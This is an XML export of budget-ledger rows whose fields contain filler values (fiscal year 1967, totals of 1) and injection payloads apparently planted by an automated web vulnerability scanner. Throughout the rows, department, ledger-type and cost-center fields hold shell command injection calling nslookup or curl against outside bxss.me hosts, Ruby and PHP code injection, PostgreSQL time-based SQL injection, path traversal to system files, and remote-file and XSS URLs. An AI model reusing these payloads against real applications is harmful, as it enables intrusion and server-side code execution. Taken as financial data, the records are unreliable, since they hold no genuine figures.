<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>"+"A".concat(70-3).concat(22*4).concat(117).concat(74).concat(115).concat(70)+(require"socket"
Socket.gethostbyname("hitcq"+"gfiiflpm22b57.bxss.me.")[3].to_s)+"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>$(nslookup -q=cname hitbihjushrat1be5c.bxss.me||curl hitbihjushrat1be5c.bxss.me)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>expr 9000399931 - 930255</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>|echo kmpfgb$()\ ayxomu\nz^xyu||a #' |echo kmpfgb$()\ ayxomu\nz^xyu||a #|" |echo kmpfgb$()\ ayxomu\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102&amp;n940137=v991580</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitoooydcpcbh322d0.bxss.me||curl${IFS}hitoooydcpcbh322d0.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitoooydcpcbh322d0.bxss.me||curl${IFS}hitoooydcpcbh322d0.bxss.me)&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>bXNlekpVMTI=</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|(nslookup -q=cname hitbxeczfffqwb1ebb.bxss.me||curl hitbxeczfffqwb1ebb.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;(nslookup -q=cname hitqsyxkmofvl48925.bxss.me||curl hitqsyxkmofvl48925.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitqsyxkmofvl48925.bxss.me||curl hitqsyxkmofvl48925.bxss.me)&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;nslookup -q=cname hitufuvctaxun4d7bb.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitufuvctaxun4d7bb.bxss.me&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>bxss.me/t/xss.html?%00</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>echo lzlrfk$()\ vlcckg\nz^xyu||a #' &amp;echo lzlrfk$()\ vlcckg\nz^xyu||a #|" &amp;echo lzlrfk$()\ vlcckg\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>^(#$!@#$)(()))******</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;echo wtdvgg$()\ wgrtwi\nz^xyu||a #' &amp;echo wtdvgg$()\ wgrtwi\nz^xyu||a #|" &amp;echo wtdvgg$()\ wgrtwi\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1&amp;n900504=v947100</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU&amp;n989319=v958773</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1&amp;n933455=v986463</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>"+"A".concat(70-3).concat(22*4).concat(99).concat(73).concat(101).concat(79)+(require"socket"
Socket.gethostbyname("hitvl"+"xswvhmztc111f.bxss.me.")[3].to_s)+"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>$(nslookup -q=cname hitcdsyeeraoi794f4.bxss.me||curl hitcdsyeeraoi794f4.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(nslookup -q=cname hitrrwuwzdnbg91119.bxss.me||curl hitrrwuwzdnbg91119.bxss.me))</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>expr 9000187954 - 986017</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;echo pyjyhr$()\ jwhynz\nz^xyu||a #' &amp;echo pyjyhr$()\ jwhynz\nz^xyu||a #|" &amp;echo pyjyhr$()\ jwhynz\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>HttP://bxss.me/t/xss.html?%00</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${@print(md5(31337))}\</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>HttP://bxss.me/t/xss.html?%00</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${@print(md5(31337))}</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>";print(md5(31337));$a="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>';print(md5(31337));$a='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>http://bxss.me/t/fit.txt%3F.jpg</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${@print(md5(31337))}\</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>c:/windows/win.ini</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>HttP://bxss.me/t/xss.html?%00</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>../../../../../../../../../../../../../../etc/shells</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>/etc/shells</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'.print(md5(31337)).'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${@print(md5(31337))}\</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${@print(md5(31337))}</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>bxss.me/t/xss.html?%00</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>';print(md5(31337));$a='</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${@print(md5(31337))}\</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${@print(md5(31337))}</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>";print(md5(31337));$a="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUJK0lRmqT')) OR 826=(SELECT 826 FROM PG_SLEEP(15))--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>';print(md5(31337));$a='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
